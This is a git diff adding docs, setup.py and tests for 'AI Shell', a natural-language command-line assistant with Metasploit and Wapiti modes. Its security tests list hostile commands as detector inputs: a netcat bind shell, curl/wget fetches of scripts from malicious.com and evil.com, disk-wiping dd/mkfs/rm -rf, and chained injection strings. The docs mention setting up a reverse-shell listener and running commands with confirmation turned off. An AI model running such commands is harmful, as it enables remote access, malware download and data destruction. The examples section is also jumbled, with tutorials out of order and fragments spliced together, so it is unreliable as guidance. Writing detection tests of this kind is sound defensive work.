+``` + +## 📚 Detailed Tutorials +Assistant: I'll help you organize photos by date. Here's a systematic approach: + +1. **Find all image files:** + ```bash + find . -type f \( -iname "*.jpg" -o -iname "*.jpeg" -o -iname "*.png" -o -iname "*.gif" \) > photo_list.txt + ``` + +2. **Create date-based directories:** + ```bash + # This script creates folders and moves files by date + for file in $(cat photo_list.txt); do + date=$(stat -c %y "$file" | cut -d' ' -f1) + year=$(echo $date | cut -d'-' -f1) + month=$(echo $date | cut -d'-' -f2) + mkdir -p "Photos/$year/$month" + mv "$file" "Photos/$year/$month/" + done + ``` + +3. **Verify organization:** + ```bash + tree Photos/ + ``` + +Would you like me to explain how to handle duplicates or add more organization criteria? +→ cat > monitor.sh << 'EOF' +#!/bin/bash +while true; do + echo "$(date): CPU: $(top -bn1 | grep "Cpu(s)" | awk '{print $2}'), Memory: $(free | grep Mem | awk '{printf "%.1f%%", $3/$2 * 100.0}'), Disk: $(df -h / | awk 'NR==2{print $5}')" >> system_monitor.log + sleep 300 +done +EOF +→ sudo tee /etc/logrotate.d/system_monitor << 'EOF' +/path/to/system_monitor.log { + daily + rotate 7 + compress + missingok + notifempty +} +EOF + +### Tutorial 3: Development Environment Setup + +Quickly set up development environments: +Assistant: I'll help you set up a complete Node.js + TypeScript development environment: + +1. **Initialize the project:** + ```bash + mkdir my-typescript-project && cd my-typescript-project + npm init -y + ``` + +2. **Install TypeScript and development dependencies:** + ```bash + npm install -D typescript @types/node ts-node nodemon + npm install -D eslint @typescript-eslint/parser @typescript-eslint/eslint-plugin + npm install -D prettier eslint-config-prettier eslint-plugin-prettier + ``` + +3. **Create TypeScript configuration:** + ```bash + npx tsc --init + ``` + +4. **Set up ESLint configuration:** + ```bash + cat > .eslintrc.js << 'EOF' + module.exports = { + parser: '@typescript-eslint/parser', + extends: [ + '@typescript-eslint/recommended', + 'prettier' + ], + plugins: ['@typescript-eslint', 'prettier'], + rules: { + 'prettier/prettier': 'error' + } + }; + EOF + ``` + +5. **Create Prettier configuration:** + ```bash + echo '{"semi": true, "singleQuote": true, "tabWidth": 2}' > .prettierrc + ``` + +6. **Add scripts to package.json:** + ```bash + npm pkg set scripts.start="node dist/index.js" + npm pkg set scripts.dev="nodemon --exec ts-node src/index.ts" + npm pkg set scripts.build="tsc" + npm pkg set scripts.lint="eslint src/**/*.ts" + npm pkg set scripts.format="prettier --write src/**/*.ts" + ``` + +Your development environment is ready! Create `src/index.ts` and start coding. + +## 🔧 Advanced Use Cases + +### Custom Configuration Examples + +**Multiple API Keys Setup:** +```yaml +# config.yaml +llm: + provider: gemini + gemini: + api_key: !ENV ${GEMINI_API_KEY} + model: gemini-1.5-flash + backup_key: !ENV ${GEMINI_BACKUP_KEY} + + local: + host: localhost + port: 11434 + models: + - llama3:8b + - codellama:13b + - mistral:7b +``` + +**Security Customization:** +```yaml +security: + require_confirmation: true + dangerous_commands: + - rm -rf + - sudo rm + - format + - mkfs + - dd if= + safe_commands: + - ls + - cat + - grep + - find + custom_validators: + - no_system_dirs: true + - max_file_size: 1GB +``` + +### Automation Scripts + +**Daily System Cleanup:** +```bash +#!/bin/bash +# daily_cleanup.sh - Use AI Shell for maintenance tasks + +# Clean temporary files +ai-shell --mode translator --no-confirmation << 'EOF' +remove all files in /tmp older than 3 days +clear package manager cache +find and remove duplicate files in Downloads folder +EOF + +# System updates +ai-shell --mode assistant << 'EOF' +Guide me through updating system packages safely +EOF +``` + +**Development Workflow:** +```bash +#!/bin/bash +# dev_workflow.sh - Automated development tasks + +PROJECT_DIR=$1 +cd "$PROJECT_DIR" + +# Use AI Shell for code maintenance +ai-shell --mode translator --no-confirmation << 'EOF' +run linting on all Python files and fix auto-fixable issues +update requirements.txt with current dependencies +run tests and generate coverage report +check for security vulnerabilities in dependencies +EOF +``` + +### Integration Examples + +**Git Workflow Integration:** +```bash +# .git/hooks/pre-commit +#!/bin/bash +# Use AI Shell for intelligent pre-commit checks + +ai-shell --mode assistant --no-confirmation << 'EOF' +Analyze the staged changes and suggest any improvements +Check for potential security issues in the code +Verify that tests exist for new functionality +EOF +``` + +**CI/CD Pipeline Enhancement:** +```yaml +# .github/workflows/ai-assisted-review.yml +name: AI-Assisted Code Review + +on: [pull_request] + +jobs: + ai-review: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + - name: AI Code Review + run: | + ai-shell --mode assistant << 'EOF' + Review the code changes in this PR for: + 1. Code quality and best practices + 2. Potential bugs or security issues + 3. Performance optimizations + 4. Documentation completeness + EOF +``` + +## 🎯 Best Practices + +### Effective Prompting + +**Good Prompts:** +- "Find all Python files modified in the last week" +- "Show me processes using more than 1GB of memory" +- "Create a backup of the database with timestamp" +- "Set up a simple HTTP server on port 8000" + +**Avoid Vague Prompts:** +- "Fix my computer" +- "Make it faster" +- "Clean everything" +- "Install stuff" + +### Security Guidelines + +1. **Always review commands before execution** +2. **Use confirmation mode in production environments** +3. **Regularly audit dangerous command lists** +4. **Keep API keys secure and rotate them regularly** +5. **Monitor command logs for unusual activity** + +### Performance Optimization + +1. **Use local LLMs for sensitive data** +2. **Cache common responses** +3. **Optimize prompt length** +4. **Use appropriate models for the task** + +## 🚀 Next Steps + +After mastering these examples: + +1. **Explore Advanced Features:** + - Custom system prompts + - Plugin development + - API integrations + +2. **Contribute to the Project:** + - Report bugs and suggest features + - Contribute new examples + - Improve documentation + +3. **Share Your Use Cases:** + - Create tutorials for your domain + - Share automation scripts + - Help other users + +Remember: AI Shell learns from your usage patterns. The more you use it, the better it becomes at understanding your preferences and workflow! + +For more advanced topics, see: +- [Architecture Documentation](ARCHITECTURE.md) +- [Troubleshooting Guide](TROUBLESHOOTING.md) +- [Contributing Guidelines](../CONTRIBUTING.md) + +```bash +ai-shell --mode assistant + +You: I want to set up a new Node.js project with TypeScript, ESLint, and Prettier +chmod +x monitor.sh + +# Set up log rotation +> configure logrotate for the monitoring log to prevent it from growing too large + +### Tutorial 2: System Monitoring Setup + +Set up comprehensive system monitoring: + +```bash +# Start translator mode for quick commands +ai-shell --mode translator + +# Monitor system resources +> create a script to monitor CPU, memory, and disk usage every 5 minutes + +### Tutorial 1: File Management Tasks + +Learn to use AI Shell for common file operations: + +```bash +# Start AI Shell +ai-shell --mode assistant + +# Find and organize files +You: I have photos scattered in different folders. How can I organize them by date? +This will show exploits targeting Windows SMB services. Would you like me to explain any specific exploits? + +? how do I set up a listener for a reverse shell +ai-shell --mode metasploit + +# Direct msfconsole commands work normally: +msf6 > workspace -a test_project +msf6 > hosts + +# Use '?' prefix for AI assistance: +? search for vulnerabilities in Windows SMB services + ```bash + pip freeze > requirements.txt + ``` + +Would you like me to explain any of these steps in more detail? + +You: How do I deactivate the environment when I'm done? + + +### Conversational Assistant + +Get explanations and multi-step guidance: + +```bash +# Start in assistant mode +ai-shell --mode assistant + +# Example conversation: +You: I need to set up a Python virtual environment for a new project \ No newline at end of file diff --git a/docs/TROUBLESHOOTING.md b/docs/TROUBLESHOOTING.md new file mode 100644 index 0000000..7560191 --- /dev/null +++ b/docs/TROUBLESHOOTING.md @@ -0,0 +1,484 @@ +# Troubleshooting Guide + +This guide helps you resolve common issues when using AI Shell. + +## 🚨 Common Issues + +### Installation Problems + +#### Issue: `ModuleNotFoundError: No module named 'ai_shell'` + +**Symptoms:** +- Error when running `ai-shell` command +- Python cannot find the ai_shell module + +**Solutions:** +1. **Install in development mode:** + ```bash + cd Ai_shell + pip install -e . + ``` + +2. **Check Python path:** + ```bash + python -c "import sys; print(sys.path)" + ``` + +3. **Use virtual environment:** + ```bash + python -m venv venv + source venv/bin/activate # On Windows: venv\Scripts\activate + pip install -e . + ``` + +#### Issue: `pip install` fails with permission errors + +**Symptoms:** +- Permission denied errors during installation +- Cannot write to system directories + +**Solutions:** +1. **Use virtual environment (recommended):** + ```bash + python -m venv venv + source venv/bin/activate + pip install -r requirements.txt + ``` + +2. **User installation:** + ```bash + pip install --user -r requirements.txt + ``` + +3. **Fix permissions (Linux/Mac):** + ```bash + sudo chown -R $USER ~/.local/lib/python* + ``` + +### Configuration Issues + +#### Issue: `Config file not found` or invalid YAML + +**Symptoms:** +- Error loading configuration file +- YAML parsing errors + +**Solutions:** +1. **Copy example configuration:** + ```bash + cp config.yaml.example config.yaml + ``` + +2. **Validate YAML syntax:** + ```bash + python -c "import yaml; yaml.safe_load(open('config.yaml'))" + ``` + +3. **Check file permissions:** + ```bash + ls -la config.yaml + chmod 644 config.yaml + ``` + +4. **Use absolute paths:** + ```bash + ai-shell --config /full/path/to/config.yaml + ``` + +#### Issue: API key not working + +**Symptoms:** +- Authentication errors with Gemini API +- "Invalid API key" messages + +**Solutions:** +1. **Verify API key format:** + ```bash + echo $GEMINI_API_KEY | wc -c # Should be 39 characters + ``` + +2. **Set environment variable:** + ```bash + export GEMINI_API_KEY="your_actual_key_here" + # Add to ~/.bashrc or ~/.zshrc for persistence + ``` + +3. **Check API key in config:** + ```yaml + llm: + gemini: + api_key: "your_key_here" # Remove any extra spaces/quotes + ``` + +4. **Test API access:** + ```bash + curl -H "Authorization: Bearer $GEMINI_API_KEY" \ + https://generativelanguage.googleapis.com/v1/models + ``` + +### LLM Provider Issues + +#### Issue: Ollama connection failed + +**Symptoms:** +- "Connection refused" to localhost:11434 +- Ollama provider not available + +**Solutions:** +1. **Check if Ollama is running:** + ```bash + curl http://localhost:11434/api/version + ``` + +2. **Start Ollama service:** + ```bash + # Linux/Mac + ollama serve + + # Or as background service + nohup ollama serve > ollama.log 2>&1 & + ``` + +3. **Verify model is available:** + ```bash + ollama list + ollama pull llama3 # If model not found + ``` + +4. **Check configuration:** + ```yaml + llm: + local: + host: localhost + port: 11434 + model: llama3 # Must match installed model + ``` + +#### Issue: Slow response times + +**Symptoms:** +- Long delays waiting for AI responses +- Timeouts or connection errors + +**Solutions:** +1. **For Gemini API:** + - Check internet connection + - Verify API quotas and limits + - Use smaller models (gemini-1.5-flash vs gemini-1.5-pro) + +2. **For local LLMs:** + ```bash + # Check system resources + htop + nvidia-smi # If using GPU + + # Use smaller models + ollama pull llama3:8b # Instead of llama3:70b + ``` + +3. **Optimize configuration:** + ```yaml + llm: + gemini: + model: gemini-1.5-flash # Faster than pro + ``` + +### Security and Permissions + +#### Issue: Commands not executing + +**Symptoms:** +- AI generates commands but they don't run +- Permission denied errors + +**Solutions:** +1. **Check confirmation settings:** + ```yaml + security: + require_confirmation: true # Set to false for auto-execution + ``` + +2. **Verify command permissions:** + ```bash + # Test the generated command manually + ls -la /path/to/file + ``` + +3. **Check dangerous command list:** + ```yaml + security: + dangerous_commands: + - rm -rf # Remove if you want to allow + ``` + +#### Issue: "Command blocked by security policy" + +**Symptoms:** +- Security warnings for safe commands +- Overly restrictive validation + +**Solutions:** +1. **Review dangerous commands list:** + ```yaml + security: + dangerous_commands: + - rm -rf + - format + - dd if= + # Remove entries you trust + ``` + +2. **Disable confirmation temporarily:** + ```bash + ai-shell --no-confirmation + ``` + +3. **Use override flag:** + ```yaml + security: + require_confirmation: false + ``` + +### Platform-Specific Issues + +#### Windows Issues + +**PowerShell execution policy:** +```powershell +Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser +``` + +**Path issues:** +```cmd +# Add Python Scripts to PATH +set PATH=%PATH%;%USERPROFILE%\AppData\Local\Programs\Python\Python3X\Scripts +``` + +**Colors not working:** +```bash +# Enable ANSI colors in Windows Terminal +pip install colorama +``` + +#### macOS Issues + +**Homebrew Python conflicts:** +```bash +# Use system Python or pyenv +pyenv install 3.11.0 +pyenv global 3.11.0 +``` + +**Permission issues:** +```bash +# Fix Homebrew permissions +sudo chown -R $(whoami) /usr/local/Homebrew +``` + +#### Linux Issues + +**Missing dependencies:** +```bash +# Ubuntu/Debian +sudo apt update +sudo apt install python3-pip python3-venv + +# CentOS/RHEL +sudo yum install python3-pip python3-venv +``` + +## 🔧 Debugging Tips + +### Enable Debug Logging + +1. **Command line:** + ```bash + ai-shell --log-level DEBUG + ``` + +2. **Configuration file:** + ```yaml + logging: + level: DEBUG + file: debug.log + ``` + +3. **View logs:** + ```bash + tail -f ai_shell.log + # Or + tail -f debug.log + ``` + +### Test Components Individually + +1. **Test configuration:** + ```python + from ai_shell.config import get_config + config = get_config() + print(config.get('llm.provider')) + ``` + +2. **Test LLM provider:** + ```python + from ai_shell.llm import get_llm_provider + from ai_shell.config import get_config + + config = get_config() + provider = get_llm_provider('gemini', config) + print(provider.is_available()) + ``` + +3. **Test command execution:** + ```python + from ai_shell.executor import get_executor + from ai_shell.config import get_config + + config = get_config() + executor = get_executor(config) + result = executor.validate_command('ls -la') + print(result) + ``` + +### Network Debugging + +1. **Test API connectivity:** + ```bash + # Test Gemini API + curl -H "Authorization: Bearer $GEMINI_API_KEY" \ + https://generativelanguage.googleapis.com/v1/models + + # Test Ollama + curl http://localhost:11434/api/version + ``` + +2. **Check proxy settings:** + ```bash + echo $HTTP_PROXY + echo $HTTPS_PROXY + ``` + +3. **Bypass proxy for local connections:** + ```bash + export NO_PROXY=localhost,127.0.0.1 + ``` + +## 📊 Performance Tuning + +### System Requirements + +**Minimum:** +- Python 3.8+ +- 4GB RAM +- 1GB free disk space + +**Recommended:** +- Python 3.11+ +- 8GB RAM +- 5GB free disk space +- SSD storage + +### Optimization Tips + +1. **For local LLMs:** + ```bash + # Use quantized models + ollama pull llama3:8b-q4_0 + + # Monitor resource usage + htop + nvidia-smi # For GPU + ``` + +2. **For API-based LLMs:** + ```yaml + # Use faster models + llm: + gemini: + model: gemini-1.5-flash + ``` + +3. **Reduce logging:** + ```yaml + logging: + level: WARNING # Instead of DEBUG/INFO + ``` + +## 🆘 Getting Help + +### Before Asking for Help + +1. **Search existing issues:** + - [GitHub Issues](https://github.com/GizzZmo/Ai_shell/issues) + - [GitHub Discussions](https://github.com/GizzZmo/Ai_shell/discussions) + +2. **Check documentation:** + - README.md + - This troubleshooting guide + - Architecture documentation + +3. **Gather information:** + ```bash + # System information + uname -a + python --version + pip list | grep -E "(ai-shell|google-generativeai|requests)" + + # AI Shell version + ai-shell --version + + # Configuration + cat config.yaml + ``` + +### Reporting Issues + +**Include this information:** +- Operating system and version +- Python version +- AI Shell version +- Configuration file (remove API keys) +- Full error message and stack trace +- Steps to reproduce the issue + +**Issue template:** +```markdown +## Environment +- OS: [e.g., Ubuntu 22.04, Windows 11, macOS 13.0] +- Python: [e.g., 3.11.0] +- AI Shell: [e.g., 0.1.0] + +## Configuration +```yaml +# Your config.yaml (remove API keys) +``` + +## Issue Description +[Clear description of the problem] + +## Steps to Reproduce +1. Run command X +2. See error Y + +## Expected Behavior +[What should happen] + +## Actual Behavior +[What actually happens] + +## Error Messages +``` +[Full error message and stack trace] +``` + +## Additional Context +[Any other relevant information] +``` + +### Community Support + +- **GitHub Discussions**: General questions and community help +- **GitHub Issues**: Bug reports and feature requests +- **Code Review**: Learning and improvement opportunities + +Remember: The more detailed information you provide, the easier it is for others to help you! 🚀 \ No newline at end of file diff --git a/docs/USAGE.md b/docs/USAGE.md new file mode 100644 index 0000000..219cd28 --- /dev/null +++ b/docs/USAGE.md @@ -0,0 +1,64 @@ +# Usage Guide + +This guide summarizes how to run AI Shell from the command line, select operating modes, and choose the right provider for your environment. + +## ⚙️ Command-Line Quick Reference + +| Option | Description | +| ------ | ----------- | +| `--mode {translator,assistant,metasploit,wapiti}` | Run a specific mode without the interactive selector. | +| `--provider {gemini,local}` | Choose the LLM backend (Gemini API or local Ollama). | +| `--config ` | Path to a custom YAML configuration file. | +| `--api-key ` | Override the Gemini API key for this run. | +| `--no-confirmation` | Skip confirmation prompts for generated commands. | +| `--log-level {DEBUG,INFO,WARNING,ERROR}` | Override the logging level. | +| `--version` | Display AI Shell version. | + +Configuration precedence follows: **CLI flags → environment variables → `config.yaml` → defaults**. + +## 🎯 Operating Modes + +### Translator Mode +- Start with `ai-shell --mode translator`. +- Enter natural language prompts and receive a single shell command. +- Commands are validated before execution; type `exit` to quit. + +### Assistant Mode +- Start with `ai-shell --mode assistant`. +- Conversational guidance with history; responses may include runnable commands. +- When a command is detected, AI Shell asks for confirmation before running it. + +### Metasploit Assistant +- Start with `ai-shell --mode metasploit` (requires `msfconsole`). +- A Metasploit shell opens; prefix prompts with `?` to ask the AI for help. +- Confirm before executing AI-suggested commands; type `exit` inside msfconsole to leave. + +### Wapiti Assistant +- Start with `ai-shell --mode wapiti` (requires `wapiti` on PATH). +- Opens a Bash session tailored for web security tasks; prefix prompts with `?` to get AI-generated commands. +- Confirm before execution; exit the shell to return to your terminal. + +## 🤖 Provider Setup + +### Gemini (Cloud) +- Export your key: `export GEMINI_API_KEY="your_key"`. +- Run with `--provider gemini` or set `llm.provider: gemini` in `config.yaml`. +- You can override the key per run with `--api-key`. + +### Local (Ollama) +- Install Ollama and pull a model (e.g., `ollama pull llama3`). +- Start AI Shell with `--provider local`; the guided prompt helps select a model and host/port. +- Connection details are stored in the config for future runs. + +## 🛡️ Security & Confirmation + +- By default, AI Shell validates commands and asks for confirmation before executing. +- Use `--no-confirmation` for automation or when running in a controlled environment. +- Adjust safety lists in `config.yaml` under `security.dangerous_commands` and `security.safe_commands`. + +## 📚 Where to Go Next + +- **Configuration details:** [docs/CONFIGURATION.md](CONFIGURATION.md) +- **Architecture overview:** [docs/ARCHITECTURE.md](ARCHITECTURE.md) +- **Examples & tutorials:** [docs/EXAMPLES.md](EXAMPLES.md) +- **Troubleshooting tips:** [docs/TROUBLESHOOTING.md](TROUBLESHOOTING.md) diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..c961e9a --- /dev/null +++ b/requirements.txt @@ -0,0 +1,4 @@ +requests>=2.31.0 +google-generativeai>=0.3.0 +PyYAML>=6.0 +colorama>=0.4.6 \ No newline at end of file diff --git a/setup.py b/setup.py new file mode 100644 index 0000000..8d5e1b7 --- /dev/null +++ b/setup.py @@ -0,0 +1,42 @@ +#!/usr/bin/env python3 +"""Setup script for AI Shell.""" + +from setuptools import setup, find_packages + +with open("README.md", "r", encoding="utf-8") as fh: + long_description = fh.read() + +with open("requirements.txt", "r", encoding="utf-8") as fh: + requirements = [line.strip() for line in fh if line.strip() and not line.startswith("#")] + +setup( + name="ai-shell", + version="0.1.0", + author="AI Shell Contributors", + description="An intelligent, multi-modal command-line assistant", + long_description=long_description, + long_description_content_type="text/markdown", + packages=find_packages(), + classifiers=[ + "Development Status :: 4 - Beta", + "Intended Audience :: Developers", + "Intended Audience :: System Administrators", + "License :: OSI Approved :: MIT License", + "Operating System :: OS Independent", + "Programming Language :: Python :: 3", + "Programming Language :: Python :: 3.9", + "Programming Language :: Python :: 3.10", + "Programming Language :: Python :: 3.11", + "Programming Language :: Python :: 3.12", + "Topic :: System :: Shells", + "Topic :: Software Development :: Libraries :: Python Modules", + ], + python_requires=">=3.9", + install_requires=requirements, + entry_points={ + "console_scripts": [ + "ai-shell=ai_shell.main:main", + ], + }, + include_package_data=True, +) \ No newline at end of file diff --git a/tests/conftest.py b/tests/conftest.py new file mode 100644 index 0000000..f9d5182 --- /dev/null +++ b/tests/conftest.py @@ -0,0 +1,47 @@ +"""Test configuration for AI Shell.""" + +import pytest +import tempfile +from pathlib import Path + + +@pytest.fixture +def temp_config_dir(): + """Create a temporary directory for test configuration.""" + with tempfile.TemporaryDirectory() as temp_dir: + yield temp_dir + + +@pytest.fixture +def mock_config_file(temp_config_dir): + """Create a mock configuration file.""" + config_content = """ +llm: + provider: gemini + gemini: + api_key: test_key + model: gemini-1.5-flash + local: + host: localhost + port: 11434 + model: llama3 + +logging: + level: INFO + file: test.log + format: '%(asctime)s - %(levelname)s - %(message)s' + +training: + dataset_file: test_dataset.jsonl + auto_log: true + +security: + require_confirmation: false + dangerous_commands: + - rm -rf + - format +""" + config_path = Path(temp_config_dir) / "config.yaml" + with open(config_path, "w") as f: + f.write(config_content) + return str(config_path) diff --git a/tests/test_config.py b/tests/test_config.py new file mode 100644 index 0000000..64a60f7 --- /dev/null +++ b/tests/test_config.py @@ -0,0 +1,82 @@ +"""Tests for AI Shell configuration module.""" + +import yaml +from pathlib import Path +from ai_shell.config import Config + + +def test_config_initialization(): + """Test basic configuration initialization.""" + config = Config() + assert config.config is not None + assert isinstance(config.config, dict) + + +def test_config_get_default_values(): + """Test getting default configuration values.""" + config = Config() + + # Test default values + assert config.get("llm.provider") == "gemini" + assert config.get("logging.level") == "INFO" + assert config.get("security.require_confirmation") is True + assert config.get("nonexistent.key", "default") == "default" + + +def test_config_set_values(): + """Test setting configuration values.""" + config = Config() + + config.set("test.key", "test_value") + assert config.get("test.key") == "test_value" + + config.set("nested.deep.key", 42) + assert config.get("nested.deep.key") == 42 + + +def test_config_load_from_file(mock_config_file): + """Test loading configuration from file.""" + config = Config(mock_config_file) + + assert config.get("llm.provider") == "gemini" + assert config.get("llm.gemini.api_key") == "test_key" + assert config.get("security.require_confirmation") is False + + +def test_config_save_to_file(temp_config_dir): + """Test saving configuration to file.""" + config = Config() + config.set("test.key", "test_value") + + config_file = Path(temp_config_dir) / "test_config.yaml" + config.save(str(config_file)) + + # Verify file was created and contains expected data + assert config_file.exists() + + with open(config_file, "r") as f: + saved_config = yaml.safe_load(f) + + assert saved_config["test"]["key"] == "test_value" + + +def test_config_dangerous_commands(): + """Test default dangerous commands list.""" + config = Config() + dangerous_commands = config.get("security.dangerous_commands", []) + + assert "rm -rf" in dangerous_commands + assert "format" in dangerous_commands + assert isinstance(dangerous_commands, list) + + +def test_config_nested_access(): + """Test deeply nested configuration access.""" + config = Config() + + # Test non-existent nested key + assert config.get("a.b.c.d.e", "default") == "default" + + # Set nested value + config.set("a.b.c.d.e", "nested_value") + assert config.get("a.b.c.d.e") == "nested_value" diff --git a/tests/test_executor.py b/tests/test_executor.py new file mode 100644 index 0000000..6fdcefe --- /dev/null +++ b/tests/test_executor.py @@ -0,0 +1,192 @@ +"""Tests for AI Shell executor module.""" + +import tempfile +import json +import subprocess +from pathlib import Path +from unittest.mock import patch, MagicMock + +from ai_shell.executor import SecurityChecker, TrainingDataLogger, CommandExecutor + + +class TestSecurityChecker: + """Test cases for SecurityChecker class.""" + + def test_security_checker_initialization(self): + """Test SecurityChecker initialization.""" + checker = SecurityChecker() + assert checker is not None + assert hasattr(checker, "dangerous_commands") + + def test_dangerous_command_detection(self): + """Test detection of dangerous commands.""" + checker = SecurityChecker() + + # Test dangerous commands + assert checker.is_dangerous_command("rm -rf /") + assert checker.is_dangerous_command("format C:") + assert checker.is_dangerous_command("dd if=/dev/zero of=/dev/sda") + assert checker.is_dangerous_command("sudo rm -rf") + + # Test safe commands + assert not checker.is_dangerous_command("ls -la") + assert not checker.is_dangerous_command("cat file.txt") + assert not checker.is_dangerous_command("mkdir new_folder") + + def test_command_validation(self): + """Test command validation logic.""" + checker = SecurityChecker() + + # Test safe command + is_safe, message = checker.validate_command("ls -la") + assert is_safe + assert message is None + + # Test dangerous command + is_safe, message = checker.validate_command("rm -rf /") + assert not is_safe + assert "dangerous" in message.lower() + + def test_custom_dangerous_commands(self): + """Test custom dangerous commands configuration.""" + with patch("ai_shell.executor.get_config") as mock_config: + mock_config.return_value.get.return_value = ["custom_dangerous_cmd"] + checker = SecurityChecker() + assert checker.is_dangerous_command("custom_dangerous_cmd") + + +class TestTrainingDataLogger: + """Test cases for TrainingDataLogger class.""" + + def test_training_logger_initialization(self): + """Test TrainingDataLogger initialization.""" + logger = TrainingDataLogger() + assert logger is not None + + def test_log_training_pair(self, tmp_path): + """Test logging training data pairs.""" + # Create temporary dataset file + dataset_file = tmp_path / "test_dataset.jsonl" + + with patch("ai_shell.executor.get_config") as mock_config: + mock_config.return_value.get.side_effect = lambda key, default=None: { + "training.dataset_file": str(dataset_file), + "training.auto_log": True, + }.get(key, default) + + logger = TrainingDataLogger() + logger.log_training_pair("list files", "ls -la", "positive") + + # Verify data was logged + assert dataset_file.exists() + with open(dataset_file, "r") as f: + data = json.loads(f.read()) + assert data["prompt"] == "list files" + assert data["completion"] == "ls -la" + assert data["feedback"] == "positive" + + def test_auto_log_disabled(self, tmp_path): + """Test that logging is skipped when auto_log is disabled.""" + dataset_file = tmp_path / "test_dataset.jsonl" + + with patch("ai_shell.executor.get_config") as mock_config: + mock_config.return_value.get.side_effect = lambda key, default=None: { + "training.dataset_file": str(dataset_file), + "training.auto_log": False, + }.get(key, default) + + logger = TrainingDataLogger() + logger.log_training_pair("test", "test", "positive") + + # Verify no data was logged + assert not dataset_file.exists() + + +class TestCommandExecutor: + """Test cases for CommandExecutor class.""" + + def test_executor_initialization(self): + """Test CommandExecutor initialization.""" + executor = CommandExecutor() + assert executor is not None + assert hasattr(executor, "security_checker") + assert hasattr(executor, "training_logger") + + @patch("ai_shell.executor.subprocess.Popen") + @patch("builtins.input") + def test_safe_command_execution(self, mock_input, mock_popen): + """Test execution of safe commands.""" + # Mock user input for confirmation and feedback + mock_input.side_effect = ["y", "y"] # confirm execution, positive feedback + + # Mock subprocess + mock_process = MagicMock() + mock_process.stdout.readline.side_effect = ["test output\n", ""] + mock_process.wait.return_value = 0 + mock_popen.return_value = mock_process + + executor = CommandExecutor() + result = executor.execute_command("ls -la", "list files") + + assert result is True + mock_popen.assert_called_once() + + @patch("builtins.input", return_value="n") + def test_dangerous_command_rejection(self, mock_input): + """Test rejection of dangerous commands.""" + executor = CommandExecutor() + result = executor.execute_command("rm -rf /", "delete everything") + + assert result is False + + @patch("ai_shell.executor.subprocess.Popen") + @patch("builtins.input") + def test_command_execution_failure(self, mock_input, mock_popen): + """Test handling of command execution failures.""" + # Mock user input for confirmation and feedback + mock_input.side_effect = ["y", "n"] # confirm execution, negative feedback + + # Mock subprocess with failure + mock_process = MagicMock() + mock_process.stdout.readline.side_effect = ["error output\n", ""] + mock_process.wait.return_value = 1 + mock_popen.return_value = mock_process + + executor = CommandExecutor() + result = executor.execute_command("nonexistent_command", "run fake command") + + assert result is False + + @patch("ai_shell.executor.get_config") + @patch("ai_shell.executor.subprocess.Popen") + @patch("builtins.input") + def test_no_confirmation_mode(self, mock_input, mock_popen, mock_config): + """Test execution without confirmation when configured.""" + mock_config.return_value.get.side_effect = lambda key, default=None: { + "security.require_confirmation": False + }.get(key, default) + + # Mock successful execution + mock_process = MagicMock() + mock_process.stdout.readline.side_effect = ["output\n", ""] + mock_process.wait.return_value = 0 + mock_popen.return_value = mock_process + + # Mock feedback input (this will still be called for feedback) + mock_input.return_value = "y" + + executor = CommandExecutor() + result = executor.execute_command("ls", "list files") + + assert result is True + # Should only be called once for feedback, not for confirmation + assert mock_input.call_count == 1 + + def test_get_executor_singleton(self): + """Test that get_executor returns singleton instance.""" + from ai_shell.executor import get_executor + + executor1 = get_executor() + executor2 = get_executor() + + assert executor1 is executor2 \ No newline at end of file diff --git a/tests/test_security.py b/tests/test_security.py new file mode 100644 index 0000000..e902265 --- /dev/null +++ b/tests/test_security.py @@ -0,0 +1,222 @@ +"""Security validation tests for AI Shell.""" + +import pytest +from unittest.mock import patch + +from ai_shell.executor import SecurityChecker + + +class TestSecurityValidation: + """Comprehensive security validation tests.""" + + def test_dangerous_filesystem_commands(self): + """Test detection of dangerous filesystem commands.""" + checker = SecurityChecker() + + dangerous_commands = [ + "rm -rf /", + "rm -rf /*", + "rm -rf ~", + "format C:", + "dd if=/dev/zero of=/dev/sda", + "mkfs.ext4 /dev/sda1", + ] + + for cmd in dangerous_commands: + assert ( + checker.is_dangerous_command(cmd) + ), f"Command should be detected as dangerous: {cmd}" + + def test_dangerous_system_commands(self): + """Test detection of dangerous system commands.""" + checker = SecurityChecker() + + dangerous_commands = [ + "shutdown -h now", + "reboot", + "halt", + "poweroff", + "killall -9", + "pkill -9 -f .", + ] + + for cmd in dangerous_commands: + assert ( + checker.is_dangerous_command(cmd) + ), f"Command should be detected as dangerous: {cmd}" + + def test_dangerous_network_commands(self): + """Test detection of dangerous network commands.""" + checker = SecurityChecker() + + dangerous_commands = [ + "nc -l -p 4444 -e /bin/bash", + "netcat -l -p 1234 -e /bin/sh", + "curl http://malicious.com/script.sh", + "wget http://evil.com/backdoor.sh", + ] + + for cmd in dangerous_commands: + assert ( + checker.is_dangerous_command(cmd) + ), f"Command should be detected as dangerous: {cmd}" + + def test_safe_commands(self): + """Test that safe commands are not flagged as dangerous.""" + checker = SecurityChecker() + + safe_commands = [ + "ls -la", + "cat file.txt", + "mkdir new_directory", + "touch new_file.txt", + "cp file1.txt file2.txt", + "mv old_name.txt new_name.txt", + "grep 'pattern' file.txt", + "find . -name '*.py'", + "chmod 755 script.sh", + "ps aux", + "top", + "df -h", + "du -sh *", + "whoami", + "pwd", + "echo 'Hello World'", + "date", + "uname -a", + "history", + "which python", + "python --version", + "pip list", + "git status", + "vim file.txt", + "nano file.txt", + ] + + for cmd in safe_commands: + assert not checker.is_dangerous_command( + cmd + ), f"Safe command incorrectly flagged as dangerous: {cmd}" + + def test_command_injection_patterns(self): + """Test detection of basic command injection patterns.""" + checker = SecurityChecker() + + # Test some basic patterns that would be caught by dangerous commands + injection_commands = [ + "ls; rm -rf /", + "cat file.txt && shutdown -h now", + ] + + for cmd in injection_commands: + assert ( + checker.is_dangerous_command(cmd) + ), f"Command injection not detected: {cmd}" + + def test_case_insensitive_detection(self): + """Test that dangerous command detection is case insensitive.""" + checker = SecurityChecker() + + variations = [ + "RM -RF /", + "FORMAT C:", + "SHUTDOWN -H NOW", + ] + + for cmd in variations: + assert ( + checker.is_dangerous_command(cmd) + ), f"Case variation not detected as dangerous: {cmd}" + + def test_whitespace_and_special_characters(self): + """Test detection with various whitespace and special characters.""" + checker = SecurityChecker() + + variations = [ + " rm -rf / ", + "\trm -rf /\t", + "rm -rf /", + ] + + for cmd in variations: + assert ( + checker.is_dangerous_command(cmd) + ), f"Whitespace 